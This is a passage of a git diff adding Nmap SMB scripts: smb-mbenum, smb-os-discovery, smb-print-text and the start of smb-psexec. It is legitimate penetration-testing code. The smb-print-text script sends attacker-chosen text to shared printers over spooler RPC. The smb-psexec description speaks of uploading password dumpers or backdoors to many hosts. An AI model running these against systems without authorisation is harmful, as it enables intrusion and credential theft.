+-- <elem key="filename">msizap.exe</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2007-12-02 00:55:01</elem>
+-- <elem key="filename">Program Files</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2008-12-01 02:05:52</elem>
+-- <elem key="filename">temp</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2011-12-16 14:40:18</elem>
+-- <elem key="filename">usr</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2007-12-02 00:42:40</elem>
+-- <elem key="filename">WINDOWS</elem>
+-- </table>
+-- <table>
+-- <elem key="size">&lt;DIR&gt;</elem>
+-- <elem key="time">2007-12-02 00:22:38</elem>
+-- <elem key="filename">wmpub</elem>
+-- </table>
+-- </table>
+-- <elem key="volume">\\192.168.1.2\Downloads</elem>
+-- </table>
+-- </table>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+dependencies = {"smb-enum-shares"}
+
+local arg_shares = stdnse.get_script_args(SCRIPT_NAME .. '.shares')
+local arg_share = stdnse.get_script_args(SCRIPT_NAME .. '.share')
+local arg_path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or '\\'
+local arg_pattern = stdnse.get_script_args(SCRIPT_NAME .. '.pattern') or '*'
+
+hostrule = function(host)
+ return ( smb.get_port(host) ~= nil and
+ (arg_shares or arg_share
+ or host.registry['smb_shares'] ~= nil) )
+end
+
+-- checks whether the file entry is a directory
+local function is_dir(fe)
+ return ( (fe.attrs & 16) == 16 )
+end
+
+local function list_files(host, share, smbstate, path, options, output, maxdepth, basedir)
+ basedir = basedir or ""
+ local continue
+
+ for fe in smb.find_files(smbstate, path .. '\\' .. arg_pattern, options) do
+ if basedir == "" or (fe.fname ~= "." and fe.fname ~= "..") then
+ if ls.config('checksum') and not(is_dir(fe)) then
+ local status, content = smb.file_read(host, share, path .. '\\' .. fe.fname, nil, {file_create_disposition=1})
+ local sha1 = status and stdnse.tohex(openssl.sha1(content)) or ""
+ continue = ls.add_file(output, {is_dir(fe) and '<DIR>' or fe.eof,
+ fe.created, basedir .. fe.fname, sha1})
+ else
+ continue = ls.add_file(output, {is_dir(fe) and '<DIR>' or fe.eof,
+ fe.created, basedir .. fe.fname})
+ end
+ if not continue then
+ return false
+ end
+ if is_dir(fe) and not (fe.fname == "." or fe.fname == "..") then
+ continue = true
+ if maxdepth > 0 then
+ continue = list_files(host, share, smbstate,
+ path .. '\\' .. fe.fname, options,
+ output, maxdepth - 1,
+ basedir .. fe.fname .. '\\')
+ elseif maxdepth < 0 then
+ continue = list_files(host, share, smbstate,
+ path .. '\\' .. fe.fname, options,
+ output, -1,
+ basedir .. fe.fname .. '\\')
+ end
+ if not continue then
+ return false
+ end
+ end
+ end
+ end
+ return true
+end
+
+action = function(host)
+
+ -- give priority to specified shares if specified
+ if arg_shares ~= nil then
+ arg_shares = stringaux.strsplit(":", arg_shares)
+ elseif arg_share ~= nil then
+ arg_shares = {arg_share}
+ else
+ arg_shares = host.registry['smb_shares']
+ end
+
+ local output = ls.new_listing()
+
+ for _, share in ipairs(arg_shares) do
+ stdnse.debug1("Share name:%s", share)
+ local status, smbstate = smb.start_ex(host, true, true, share,
+ nil, nil, nil)
+ if ( not(status) ) then
+ ls.report_error(
+ output,
+ ("Failed to authenticate to server (%s) for directory of \\\\%s\\%s%s"):format(smbstate, stdnse.get_hostname(host), share, arg_path))
+ else
+
+ -- remove leading slash
+ arg_path = ( arg_path:sub(1,2) == '\\' and arg_path:sub(2) or arg_path )
+
+ local options = {maxfiles = ls.config('maxfiles')}
+ local depth, path, dirs = 0, arg_path, {}
+ local file_count, dir_count, total_bytes = 0, 0, 0
+ local continue = true
+
+ ls.new_vol(
+ output,
+ share .. path,
+ false)
+ continue = list_files(host, share, smbstate, path, options,
+ output, ls.config('maxdepth'))
+ if not continue then
+ ls.report_info(
+ output,
+ string.format("maxfiles limit reached (%d)", ls.config('maxfiles')))
+ end
+ ls.end_vol(output)
+ smb.stop(smbstate)
+ end
+ end
+
+ return ls.end_listing(output)
+end
diff --git a/scripts/smb-mbenum.nse b/scripts/smb-mbenum.nse
new file mode 100644
index 0000000..edca830
--- /dev/null
+++ b/scripts/smb-mbenum.nse
@@ -0,0 +1,246 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+
+description=[[
+Queries information managed by the Windows Master Browser.
+]]
+
+---
+-- @usage
+-- nmap -p 445 <host> --script smb-mbenum
+--
+-- @output
+-- | smb-mbenum:
+-- | Backup Browser
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | DFS Root
+-- | WIN2K3-1 5.2 MSSQL Server backend
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | Master Browser
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | SQL Server
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | Server
+-- | TIME-CAPSULE 4.32 Time Capsule
+-- | WIN2K3-1 5.2 MSSQL Server backend
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | Server service
+-- | TIME-CAPSULE 4.32 Time Capsule
+-- | WIN2K3-1 5.2 MSSQL Server backend
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | Windows NT/2000/XP/2003 server
+-- | TIME-CAPSULE 4.32 Time Capsule
+-- | WIN2K3-1 5.2 MSSQL Server backend
+-- | WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+-- | Workstation
+-- | TIME-CAPSULE 4.32 Time Capsule
+-- | WIN2K3-1 5.2 MSSQL Server backend
+-- |_ WIN2K3-EPI-1 5.2 EPiServer 2003 frontend server
+--
+-- @args smb-mbenum.format (optional) if set, changes the format of the result
+-- returned by the script. There are three possible formats:
+-- 1. Ordered by type horizontally
+-- 2. Ordered by type vertically
+-- 3. Ordered by type vertically with details (default)
+--
+-- @args smb-mbenum.filter (optional) if set, queries the browser for a
+-- specific type of server (@see ServerTypes)
+--
+-- @args smb-mbenum.domain (optional) if not specified, lists the domain of the queried browser
+--
+
+--
+-- Version 0.1
+-- Created 06/11/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+hostrule = function(host) return smb.get_port(host) ~= nil end
+
+local function log(msg) stdnse.debug3("%s", msg) end
+
+ServerTypes = {
+ SV_TYPE_WORKSTATION = 0x00000001,
+ SV_TYPE_SERVER = 0x00000002,
+ SV_TYPE_SQLSERVER = 0x00000004,
+ SV_TYPE_DOMAIN_CTRL = 0x00000008,
+ SV_TYPE_DOMAIN_BAKCTRL = 0x00000010,
+ SV_TYPE_TIME_SOURCE = 0x00000020,
+ SV_TYPE_AFP = 0x00000040,
+ SV_TYPE_NOVELL = 0x00000080,
+ SV_TYPE_DOMAIN_MEMBER = 0x00000100,
+ SV_TYPE_PRINTQ_SERVER = 0x00000200,
+ SV_TYPE_DIALIN_SERVER = 0x00000400,
+ SV_TYPE_SERVER_UNIX = 0x00000800,
+ SV_TYPE_NT = 0x00001000,
+ SV_TYPE_WFW = 0x00002000,
+ SV_TYPE_SERVER_MFPN = 0x00004000,
+ SV_TYPE_SERVER_NT = 0x00008000,
+ SV_TYPE_POTENTIAL_BROWSER = 0x00010000,
+ SV_TYPE_BACKUP_BROWSER = 0x00020000,
+ SV_TYPE_MASTER_BROWSER = 0x00040000,
+ SV_TYPE_DOMAIN_MASTER = 0x00080000,
+ SV_TYPE_WINDOWS = 0x00400000,
+ SV_TYPE_DFS = 0x00800000,
+ SV_TYPE_CLUSTER_NT = 0x01000000,
+ SV_TYPE_TERMINALSERVER = 0x02000000,
+ SV_TYPE_CLUSTER_VS_NT = 0x04000000,
+ SV_TYPE_DCE = 0x10000000,
+ SV_TYPE_ALTERNATE_XPORT = 0x20000000,
+ SV_TYPE_LOCAL_LIST_ONLY = 0x40000000,
+ SV_TYPE_DOMAIN_ENUM = 0x80000000,
+ SV_TYPE_ALL = 0xFFFFFFFF
+}
+
+TypeNames = {
+ SV_TYPE_WORKSTATION = { long = "Workstation", short = "WKS" },
+ SV_TYPE_SERVER = { long = "Server service", short = "SRVSVC" },
+ SV_TYPE_SQLSERVER = { long = "SQL Server", short = "MSSQL" },
+ SV_TYPE_DOMAIN_CTRL = { long = "Domain Controller", short = "DC" },
+ SV_TYPE_DOMAIN_BAKCTRL = { long = "Backup Domain Controller", short = "BDC" },
+ SV_TYPE_TIME_SOURCE = { long = "Time Source", short = "TIME" },
+ SV_TYPE_AFP = { long = "Apple File Protocol Server", short = "AFP" },
+ SV_TYPE_NOVELL = { long = "Novell Server", short = "NOVELL" },
+ SV_TYPE_DOMAIN_MEMBER = { long = "LAN Manager Domain Member", short = "MEMB" },
+ SV_TYPE_PRINTQ_SERVER = { long = "Print server", short = "PRINT" },
+ SV_TYPE_DIALIN_SERVER = { long = "Dial-in server", short = "DIALIN" },
+ SV_TYPE_SERVER_UNIX = { long = "Unix server", short = "UNIX" },
+ SV_TYPE_NT = { long = "Windows NT/2000/XP/2003 server", short = "NT" },
+ SV_TYPE_WFW = { long = "Windows for workgroups", short = "WFW" },
+ SV_TYPE_SERVER_MFPN = { long = "Microsoft File and Print for Netware", short="MFPN" },
+ SV_TYPE_SERVER_NT = { long = "Server", short = "SRV" },
+ SV_TYPE_POTENTIAL_BROWSER = { long = "Potential Browser", short = "POTBRWS" },
+ SV_TYPE_BACKUP_BROWSER = { long = "Backup Browser", short = "BCKBRWS"},
+ SV_TYPE_MASTER_BROWSER = { long = "Master Browser", short = "MBRWS"},
+ SV_TYPE_DOMAIN_MASTER = { long = "Domain Master Browser", short = "DOMBRWS"},
+ SV_TYPE_WINDOWS = { long = "Windows 95/98/ME", short="WIN95"},
+ SV_TYPE_DFS = { long = "DFS Root", short = "DFS"},
+ SV_TYPE_TERMINALSERVER = { long = "Terminal Server", short = "TS" },
+}
+
+OutputFormat = {
+ BY_TYPE_H = 1,
+ BY_TYPE_V = 2,
+ BY_TYPE_V_DETAILED = 3,
+}
+
+
+action = function(host, port)
+
+ local status, smbstate = smb.start(host)
+ local err, entries
+ local path = ("\\\\%s\\IPC$"):format(host.ip)
+ local detail_level = 1
+ local format = stdnse.get_script_args("smb-mbenum.format") or OutputFormat.BY_TYPE_V_DETAILED
+ local filter = stdnse.get_script_args("smb-mbenum.filter") or ServerTypes.SV_TYPE_ALL
+ local domain = stdnse.get_script_args("smb-mbenum.domain")
+
+ filter = tonumber(filter) or ServerTypes[filter]
+ format = tonumber(format)
+
+ if ( not(filter) ) then
+ return "\n The argument smb-mbenum.filter contained an invalid value."
+ end
+
+ if ( not(format) ) then
+ return "\n The argument smb-mbenum.format contained an invalid value."
+ end
+
+ local errstr = nil
+ status, err = smb.negotiate_protocol(smbstate, {})
+ if ( not(status) ) then
+ log("ERROR: smb.negotiate_protocol failed")
+ errstr = "\n ERROR: Failed to connect to browser service: " .. err
+ else
+
+ status, err = smb.start_session(smbstate, {})
+ if ( not(status) ) then
+ log("ERROR: smb.start_session failed")
+ errstr = "\n ERROR: Failed to connect to browser service: " .. err
+ else
+
+ status, err = smb.tree_connect(smbstate, path, {})
+ if ( not(status) ) then
+ log("ERROR: smb.tree_connect failed")
+ errstr = "\n ERROR: Failed to connect to browser service: " .. err
+ else
+
+ status, entries = msrpc.rap_netserverenum2(smbstate, domain, filter, detail_level)
+ if ( not(status) ) then
+ log("ERROR: msrpc.rap_netserverenum2 failed")
+ -- 71 == 0x00000047, ERROR_REQ_NOT_ACCEP
+ -- http://msdn.microsoft.com/en-us/library/cc224501.aspx
+ if entries:match("= 71$") then
+ errstr = "Not a master or backup browser"
+ else
+ errstr = "\n ERROR: " .. entries
+ end
+ end
+ end
+
+ status, err = smb.tree_disconnect(smbstate)
+ if ( not(status) ) then log("ERROR: smb.tree_disconnect failed") end
+ end
+
+ status, err = smb.logoff(smbstate)
+ if ( not(status) ) then log("ERROR: smb.logoff failed") end
+ end
+
+ status, err = smb.stop(smbstate)
+ if ( not(status) ) then log("ERROR: smb.stop failed") end
+
+ if errstr then
+ return errstr
+ end
+
+ local results, output = {}, {}
+ for k, _ in pairs(ServerTypes) do
+ for _, server in ipairs(entries) do
+ if ( TypeNames[k] and (server.type & ServerTypes[k]) == ServerTypes[k] ) then
+ results[TypeNames[k].long] = results[TypeNames[k].long] or {}
+ if ( format == OutputFormat.BY_TYPE_V_DETAILED ) then
+ table.insert(results[TypeNames[k].long], server)
+ else
+ table.insert(results[TypeNames[k].long], server.name)
+ end
+ end
+ end
+ end
+
+ if ( format == OutputFormat.BY_TYPE_H ) then
+ for k, v in pairs(results) do
+ local row = ("%s: %s"):format( k, table.concat(v, ",") )
+ table.insert(output, row)
+ end
+ table.sort(output)
+ elseif( format == OutputFormat.BY_TYPE_V ) then
+ for k, v in pairs(results) do
+ v.name = k
+ table.insert(output, v)
+ end
+ table.sort(output, function(a,b) return a.name < b.name end)
+ elseif( format == OutputFormat.BY_TYPE_V_DETAILED ) then
+ for k, v in pairs(results) do
+ local cat_tab = tab.new(3)
+ table.sort(v, function(a,b) return a.name < b.name end )
+ for _, server in pairs(v) do
+ tab.addrow(
+ cat_tab,
+ server.name,
+ ("%d.%d"):format(server.version.major,server.version.minor),
+ server.comment
+ )
+ end
+ table.insert(output, { name = k, tab.dump(cat_tab) } )
+ end
+ table.sort(output, function(a,b) return a.name < b.name end)
+ end
+
+ return stdnse.format_output(true, output)
+end
diff --git a/scripts/smb-os-discovery.nse b/scripts/smb-os-discovery.nse
new file mode 100644
index 0000000..8799415
--- /dev/null
+++ b/scripts/smb-os-discovery.nse
@@ -0,0 +1,220 @@
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local os = require "os"
+local datetime = require "datetime"
+
+description = [[
+Attempts to determine the operating system, computer name, domain, workgroup, and current
+time over the SMB protocol (ports 445 or 139).
+This is done by starting a session with the anonymous
+account (or with a proper user account, if one is given; it likely doesn't make
+a difference); in response to a session starting, the server will send back all this
+information.
+
+The following fields may be included in the output, depending on the
+circumstances (e.g. the workgroup name is mutually exclusive with domain and forest
+names) and the information available:
+* OS
+* Computer name
+* Domain name
+* Forest name
+* FQDN
+* NetBIOS computer name
+* NetBIOS domain name
+* Workgroup
+* System time
+
+Some systems, like Samba, will blank out their name (and only send their domain).
+Other systems (like embedded printers) will simply leave out the information. Other
+systems will blank out various pieces (some will send back 0 for the current
+time, for example).
+
+If this script is used in conjunction with version detection it can augment the
+standard nmap version detection information with data that this script has discovered.
+
+Retrieving the name and operating system of a server is a vital step in targeting
+an attack against it, and this script makes that retrieval easy. Additionally, if
+a penetration tester is choosing between multiple targets, the time can help identify
+servers that are being poorly maintained (for more information/random thoughts on
+using the time, see http://www.skullsecurity.org/blog/?p=76.
+
+Although the standard <code>smb*</code> script arguments can be used,
+they likely won't change the outcome in any meaningful way. However, <code>smbnoguest</code>
+will speed up the script on targets that do not allow guest access.
+]]
+
+---
+--@usage
+-- nmap --script smb-os-discovery.nse -p445 127.0.0.1
+-- sudo nmap -sU -sS --script smb-os-discovery.nse -p U:137,T:139 127.0.0.1
+--
+--@output
+-- Host script results:
+-- | smb-os-discovery:
+-- | OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008 Standard 6.0)
+-- | OS CPE: cpe:/o:microsoft:windows_2008::sp1
+-- | Computer name: Sql2008
+-- | NetBIOS computer name: SQL2008
+-- | Domain name: lab.test.local
+-- | Forest name: test.local
+-- | FQDN: Sql2008.lab.test.local
+-- | NetBIOS domain name: LAB
+-- |_ System time: 2011-04-20T13:34:06-05:00
+--
+--@xmloutput
+-- <elem key="os">Windows Server (R) 2008 Standard 6001 Service Pack 1</elem>
+-- <elem key="cpe">cpe:/o:microsoft:windows_2008::sp1</elem>
+-- <elem key="lanmanager">Windows Server (R) 2008 Standard 6.0</elem>
+-- <elem key="domain">LAB</elem>
+-- <elem key="server">SQL2008</elem>
+-- <elem key="date">2011-04-20T13:34:06-05:00</elem>
+-- <elem key="fqdn">Sql2008.lab.test.local</elem>
+-- <elem key="domain_dns">lab.test.local</elem>
+-- <elem key="forest_dns">test.local</elem>
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"smb-brute"}
+
+
+--- Check whether or not this script should be run.
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+-- Some observed OS strings:
+-- "Windows 5.0" (is Windows 2000)
+-- "Windows 5.1" (is Windows XP)
+-- "Windows Server 2003 3790 Service Pack 2"
+-- "Windows Vista (TM) Ultimate 6000"
+-- "Windows Server (R) 2008 Standard 6001 Service Pack 1"
+-- "Windows 7 Professional 7601 Service Pack 1"
+-- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a
+-- list of strings that don't quite match these.
+function make_cpe(result)
+ local os = result.os
+ local parts = {}
+
+ if string.match(os, "^Windows 5%.0") then
+ parts = {"o", "microsoft", "windows_2000"}
+ elseif string.match(os, "^Windows 5%.1") then
+ parts = {"o", "microsoft", "windows_xp"}
+ elseif string.match(os, "^Windows Server.*2003") then
+ parts = {"o", "microsoft", "windows_server_2003"}
+ elseif string.match(os, "^Windows Vista") then
+ parts = {"o", "microsoft", "windows_vista"}
+ elseif string.match(os, "^Windows Server.*2008") then
+ parts = {"o", "microsoft", "windows_server_2008"}
+ elseif string.match(os, "^Windows 7") then
+ parts = {"o", "microsoft", "windows_7"}
+ elseif string.match(os, "^Windows 8%f[^%d.]") then
+ parts = {"o", "microsoft", "windows_8"}
+ elseif string.match(os, "^Windows 8.1") then
+ parts = {"o", "microsoft", "windows_8.1"}
+ elseif string.match(os, "^Windows 10%f[^%d.]") then
+ parts = {"o", "microsoft", "windows_10"}
+ elseif string.match(os, "^Windows Server.*2012") then
+ parts = {"o", "microsoft", "windows_server_2012"}
+ end
+
+ if parts[1] == "o" and parts[2] == "microsoft"
+ and string.match(parts[3], "^windows") then
+ parts[4] = ""
+ local sp = string.match(os, "Service Pack (%d+)")
+ if sp then
+ parts[5] = "sp" .. tostring(sp)
+ else
+ parts[5] = "-"
+ end
+ if string.match(os, "Professional") then
+ parts[6] = "professional"
+ end
+ end
+
+ if #parts > 0 then
+ return "cpe:/" .. table.concat(parts, ":")
+ end
+end
+
+function add_to_output(output_table, label, value)
+ if value then
+ table.insert(output_table, string.format("%s: %s", label, value))
+ end
+end
+
+action = function(host)
+ local response = stdnse.output_table()
+ local request_time = os.time()
+ local status, result = smb.get_os(host)
+
+ if(status == false) then
+ return stdnse.format_output(false, result)
+ end
+
+ -- Collect results.
+ response.os = result.os
+ response.lanmanager = result.lanmanager
+ response.domain = result.domain
+ response.server = result.server
+ if result.time and result.timezone then
+ response.date = datetime.format_timestamp(result.time, result.timezone * 60 * 60)
+ datetime.record_skew(host, result.time - result.timezone * 60 * 60, request_time)
+ end
+ response.fqdn = result.fqdn
+ response.domain_dns = result.domain_dns
+ response.forest_dns = result.forest_dns
+ response.workgroup = result.workgroup
+ response.cpe = make_cpe(result)
+
+ -- Build normal output.
+ local output_lines = {}
+ if response.os and response.lanmanager then
+ add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
+ else
+ add_to_output(output_lines, "OS", "Unknown")
+ end
+ add_to_output(output_lines, "OS CPE", response.cpe)
+ if response.fqdn then
+ -- Pull the first part of the FQDN as the computer name.
+ add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
+ end
+ add_to_output(output_lines, "NetBIOS computer name", result.server)
+ if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
+ -- If the FQDN doesn't match the domain name, the target is a domain member.
+ add_to_output(output_lines, "Domain name", response.domain_dns)
+ add_to_output(output_lines, "Forest name", response.forest_dns)
+ add_to_output(output_lines, "FQDN", response.fqdn)
+ add_to_output(output_lines, "NetBIOS domain name", response.domain)
+ else
+ add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
+ end
+ add_to_output(output_lines, "System time", response.date or "Unknown")
+
+ -- Augment service version detection
+ if result.port and response.lanmanager then
+ local proto
+ if result.port == 445 or result.port == 139 then
+ proto = 'tcp'
+ else
+ proto = 'udp'
+ end
+
+ local port = nmap.get_port_state(host,{number=result.port,protocol=proto})
+
+ local version, product
+ if string.match(response.lanmanager,"^Samba ") then
+ port.version.product = 'Samba smbd'
+ port.version.version = string.match(response.lanmanager,"^Samba (.*)")
+ nmap.set_port_version(host,port)
+ elseif smb.get_windows_version(response.os) then
+ port.version.product = string.format("%s %s",smb.get_windows_version(response.os), port.version.name)
+ nmap.set_port_version(host,port)
+ end
+ end
+
+ return response, stdnse.format_output(true, output_lines)
+end
diff --git a/scripts/smb-print-text.nse b/scripts/smb-print-text.nse
new file mode 100644
index 0000000..3e6b5f9
--- /dev/null
+++ b/scripts/smb-print-text.nse
@@ -0,0 +1,133 @@
+local io = require "io"
+local msrpc = require "msrpc"
+local smb = require "smb"
+local string = require "string"
+local stdnse = require "stdnse"
+
+description = [[
+Attempts to print text on a shared printer by calling Print Spooler Service RPC functions.
+
+In order to use the script, at least one printer needs to be shared
+over SMB. If no printer is specified, script tries to enumerate existing
+ones by calling LANMAN API which might not be always available.
+LANMAN is available by default on Windows XP, but not on Vista or Windows 7
+for example. In that case, you need to specify printer share name manually
+using <code>printer</code> script argument. You can find out available shares
+by using smb-enum-shares script.
+
+Later versions of Windows require valid credentials by default
+which you can specify trough smb library arguments <code>smbuser</code> and
+<code>smbpassword</code> or other options.
+
+]]
+---
+-- @usage nmap -p 445 <target> --script=smb-print-text --script-args="text=0wn3d"
+--
+-- @output
+-- |_smb-print-text: Printer job started using MyPrinter printer share.
+--
+-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
+-- @args text Text to print. Either text or filename need to be specified.
+-- @args filename File to read text from (ASCII only).
+--
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+ local status, smbstate
+ local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
+ local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
+ if (not text) and (not filename) then
+ stdnse.debug1("Script requires either text or filename script argument.")
+ return false
+ end
+ local text_to_print
+ if text then
+ text_to_print = text
+ else
+ -- read text from file
+ local file = io.open(filename, "rb")
+ text_to_print = file:read("a")
+ file:close()
+ end
+ status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
+ if(status == false) then
+ stdnse.debug1("SMB: " .. smbstate)
+ return false, smbstate
+ end
+
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ stdnse.debug1("SMB: " .. bind_result)
+ return false, bind_result
+ end
+ local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
+ -- if printer not set find available printers
+ if not printer then
+ stdnse.debug1("No printer specified, trying to find one...")
+ local lanman_result
+ local REMSmb_NetShareEnum_P = "WrLeh"
+ local REMSmb_share_info_1 = "B13BWz"
+ status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,string.pack("<I2I2", 0x01, 65406))
+ if status == false then
+ stdnse.debug1("SMB: " .. lanman_result)
+ stdnse.debug1("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
+ return false
+ end
+
+ local parameters = lanman_result.parameters
+ local data = lanman_result.data
+ local status, convert, entry_count, available_entries = string.unpack("<I2 I2 I2 I2", parameters)
+ local pos = 1
+ for i = 1, entry_count, 1 do
+ local name, share_type = string.unpack(">c14 I2", data, pos)
+
+ if share_type == 1 then -- share is printer
+ name = string.unpack("z", name)
+ stdnse.debug1("Found printer share %s.", name)
+ printer = name
+ break
+ end
+ pos = pos + 20
+ end
+ end
+ if not printer then
+ stdnse.debug1("No printer found, system may be unpatched but it needs at least one printer shared to be vulnerable.")
+ return false
+ end
+ stdnse.debug1("Using %s as printer.",printer)
+ -- call RpcOpenPrinterEx - opnum 69
+ local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
+ if not status then
+ return false
+ end
+ local printer_handle = string.sub(result.data,25,#result.data-4)
+ stdnse.debug1("Printer handle %s",stdnse.tohex(printer_handle))
+ -- call RpcStartDocPrinter - opnum 17
+ status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
+ if not status then
+ return false
+ end
+ local print_job_id = string.sub(result.data,25,#result.data-4)
+ stdnse.debug1("Start doc printer job id %s",stdnse.tohex(print_job_id))
+
+ -- call RpcWritePrinter - 19
+ status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
+ if not status then
+ return false
+ end
+ local write_result = string.sub(result.data,25,#result.data-4)
+ stdnse.debug1("Written %s bytes to a file.",stdnse.tohex(write_result))
+
+ status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
+
+ return string.format("Printer job started using <%s> printer share.", printer)
+end
diff --git a/scripts/smb-protocols.nse b/scripts/smb-protocols.nse
new file mode 100644
index 0000000..1862d3e
--- /dev/null
+++ b/scripts/smb-protocols.nse
@@ -0,0 +1,71 @@
+local smb = require "smb"
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+
+description = [[
+Attempts to list the supported protocols and dialects of a SMB server.
+
+The script attempts to initiate a connection using the dialects:
+* NT LM 0.12 (SMBv1)
+* 2.0.2 (SMBv2)
+* 2.1 (SMBv2)
+* 3.0 (SMBv3)
+* 3.0.2 (SMBv3)
+* 3.1.1 (SMBv3)
+
+Additionally if SMBv1 is found enabled, it will mark it as insecure. This
+script is the successor to the (removed) smbv2-enabled script.
+]]
+
+---
+-- @usage nmap -p445 --script smb-protocols <target>
+-- @usage nmap -p139 --script smb-protocols <target>
+--
+-- @output
+-- | smb-protocols:
+-- | dialects:
+-- | NT LM 0.12 (SMBv1) [dangerous, but default]
+-- | 2.0.2
+-- | 2.1
+-- | 3.0
+-- | 3.0.2
+-- |_ 3.1.1
+--
+-- @xmloutput
+-- <table key="dialects">
+-- <elem>NT LM 0.12 (SMBv1) [dangerous, but default]</elem>
+-- <elem>2.0.2</elem>
+-- <elem>2.1</elem>
+-- <elem>3.0</elem>
+-- <elem>3.0.2</elem>
+-- <elem>3.1.1</elem>
+-- </table>
+---
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+ local status, supported_dialects = smb.list_dialects(host)
+ if status then
+ for i, v in pairs(supported_dialects) do -- Mark SMBv1 as insecure
+ if v == "NT LM 0.12" then
+ supported_dialects[i] = v .. " (SMBv1) [dangerous, but default]"
+ end
+ end
+ if #supported_dialects > 0 then
+ local output = stdnse.output_table()
+ output.dialects = supported_dialects
+ return output
+ end
+ end
+ stdnse.debug1("No dialects were accepted")
+ if nmap.verbosity()>1 then
+ return "No dialects accepted. Something may be blocking the responses"
+ end
+end
diff --git a/scripts/smb-psexec.nse b/scripts/smb-psexec.nse
new file mode 100644
index 0000000..9f89541
--- /dev/null
+++ b/scripts/smb-psexec.nse
@@ -0,0 +1,1565 @@
+local _G = require "_G"
+local io = require "io"
+local math = require "math"
+local msrpc = require "msrpc"
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Implements remote process execution similar to the Sysinternals' psexec
+tool, allowing a user to run a series of programs on a remote machine and
+read the output. This is great for gathering information about servers,
+running the same tool on a range of system, or even installing a backdoor on
+a collection of computers.
+
+This script can run commands present on the remote machine, such as ping or
+tracert, or it can upload a program and run it, such as pwdump6 or a
+backdoor. Additionally, it can read the program's stdout/stderr and return
+it to the user (works well with ping, pwdump6, etc), or it can read a file
+that the process generated (fgdump, for example, generates a file), or it
+can just start the process and let it run headless (a backdoor might run
+like this).
+
+To use this, a configuration file should be created and edited. Several
+configuration files are included that you can customize, or you can write
+your own. This config file is placed in <code>nselib/data/psexec</code> (if
+you aren't sure where that is, search your system for
+<code>default.lua</code>), then is passed to Nmap as a script argument (for
+example, myconfig.lua would be passed as
+<code>--script-args=config=myconfig</code>.
+
+The configuration file consists mainly of a module list. Each module is
+defined by a lua table, and contains fields for the name of the program, the
+executable and arguments for the program, and a score of other options.
+Modules also have an 'upload' field, which determines whether or not the
+module is to be uploaded. Here is a simple example of how to run <code>net
+localgroup administrators</code>, which returns a list of users in the
+"administrators" group (take a look at the <code>examples.lua</code>
+configuration file for these examples):
+
+<code>
+ mod = {}
+ mod.upload = false
+ mod.name = "Example 1: Membership of 'administrators'"
+ mod.program = "net.exe"
+ mod.args = "localgroup administrators"
+ table.insert(modules, mod)
+</code>
+
+<code>mod.upload</code> is <code>false</code>, meaning the program should
+already be present on the remote system (since 'net.exe' is on every version
+of Windows, this should be the case). <code>mod.name</code> defines the name
+that the program will have in the output. <code>mod.program</code> and
+<code>mod.args</code> obviously define which program is going to be run. The
